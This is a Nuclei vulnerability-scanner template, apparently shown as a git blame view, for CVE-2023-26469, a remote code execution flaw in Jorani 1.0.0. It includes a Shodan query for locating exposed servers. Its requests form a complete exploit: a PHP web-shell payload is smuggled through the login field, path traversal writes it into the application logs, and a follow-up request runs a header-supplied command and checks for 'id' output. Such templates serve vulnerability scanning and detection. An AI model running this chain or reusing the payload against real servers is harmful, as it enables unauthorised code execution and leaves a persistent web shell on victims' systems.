2023-08-30 17:31:52 +00:00
|
|
|
id: CVE-2023-26469
|
|
|
|
|
|
|
|
info:
|
2023-08-30 20:01:43 +00:00
|
|
|
name: Jorani 1.0.0 - Remote Code Execution
|
2023-08-30 17:31:52 +00:00
|
|
|
author: pussycat0x
|
|
|
|
severity: critical
|
|
|
|
description: |
|
2023-08-31 11:46:18 +00:00
|
|
|
Jorani 1.0.0, an attacker could leverage path traversal to access files and execute code on the server.
|
2023-09-06 11:43:37 +00:00
|
|
|
remediation: |
|
|
|
|
Upgrade Jorani to a patched version or apply the necessary security patches.
|
2023-08-30 17:31:52 +00:00
|
|
|
reference:
|
|
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2023-26469
|
|
|
|
- https://github.com/Orange-Cyberdefense/CVE-repository/blob/master/PoCs/CVE_Jorani.py
|
2023-08-30 20:01:43 +00:00
|
|
|
- https://github.com/advisories/GHSA-7r9h-9r47-7vjj
|
|
|
|
- http://packetstormsecurity.com/files/174248/Jorani-Remote-Code-Execution.html
|
2023-08-31 11:46:18 +00:00
|
|
|
- https://jorani.org/security-features-in-lms.html
|
2023-08-30 20:01:43 +00:00
|
|
|
classification:
|
|
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
|
|
cvss-score: 9.8
|
2023-08-31 11:46:18 +00:00
|
|
|
cve-id: CVE-2023-26469
|
2023-08-30 20:01:43 +00:00
|
|
|
cwe-id: CWE-22
|
2023-10-14 11:27:55 +00:00
|
|
|
epss-score: 0.91808
|
2023-10-30 20:55:37 +00:00
|
|
|
epss-percentile: 0.98605
|
2023-09-06 11:43:37 +00:00
|
|
|
cpe: cpe:2.3:a:jorani:jorani:1.0.0:*:*:*:*:*:*:*
|
2023-08-30 17:31:52 +00:00
|
|
|
metadata:
|
|
|
|
verified: true
|
2023-09-06 11:43:37 +00:00
|
|
|
max-request: 3
|
2023-08-31 11:46:18 +00:00
|
|
|
vendor: jorani
|
|
|
|
product: jorani
|
2023-09-06 11:43:37 +00:00
|
|
|
shodan-query: http.favicon.hash:-2032163853
|
2023-08-30 20:01:43 +00:00
|
|
|
tags: cve,cve2023,jorani,rce,packetstorm
|
2023-08-30 17:31:52 +00:00
|
|
|
variables:
|
|
|
|
cmd: "id"
|
2023-08-30 20:01:43 +00:00
|
|
|
payload: "<?php if(isset($_SERVER['HTTP_{{header}}'])){system(base64_decode($_SERVER['HTTP_{{header}}']));} ?>"
|
|
|
|
header: "{{to_upper(rand_base(12))}}"
|
2023-08-30 17:31:52 +00:00
|
|
|
|
|
|
|
http:
|
|
|
|
- raw:
|
|
|
|
- |
|
|
|
|
GET /session/login HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
- |
|
|
|
|
POST /session/login HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
|
|
|
|
csrf_test_jorani={{csrf}}&last_page=session%2Flogin&language=..%2F..%2Fapplication%2Flogs&login={{payload}}&CipheredValue=DummyPassword
|
|
|
|
- |
|
|
|
|
GET /pages/view/log-{{date_time("%Y-%M-%D")}} HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
X-REQUESTED-WITH: XMLHttpRequest
|
2023-08-30 20:01:43 +00:00
|
|
|
{{header}}: {{base64("echo ---------;{{cmd}} 2>&1;echo ---------;")}}
|
2023-08-30 17:31:52 +00:00
|
|
|
|
|
|
|
cookie-reuse: true
|
2023-08-31 11:46:18 +00:00
|
|
|
|
2023-08-30 17:31:52 +00:00
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
|
|
|
- type: regex
|
2023-08-30 20:01:43 +00:00
|
|
|
part: body_3
|
2023-08-30 17:31:52 +00:00
|
|
|
regex:
|
|
|
|
- 'uid=(\d+)\(.*?\) gid=(\d+)\(.*?\) groups=([\d,]+)\(.*?\)'
|
|
|
|
|
2023-08-30 20:01:43 +00:00
|
|
|
- type: status
|
|
|
|
part: header_3
|
|
|
|
status:
|
|
|
|
- 401
|
|
|
|
|
2023-08-30 17:31:52 +00:00
|
|
|
extractors:
|
|
|
|
- type: regex
|
2023-08-30 20:01:43 +00:00
|
|
|
part: body
|
2023-08-30 17:31:52 +00:00
|
|
|
group: 1
|
|
|
|
internal: true
|
|
|
|
name: csrf
|
|
|
|
regex:
|
2023-08-30 20:01:43 +00:00
|
|
|
- 'name="csrf_test_jorani" value="(.*?)"'
|
2023-10-29 15:59:44 +00:00
|
|
|
|
|
|
|
# digest: 4a0a004730450221008e601cc61129ae893dc3439395ced529d0a24496d1c7542185f9e9bd0a83b22602204c6463e870711959a7b10570da9b7843021417f2558c8adb5c719ed35bab940f:922c64590222798bb761d5b6d8e72950
|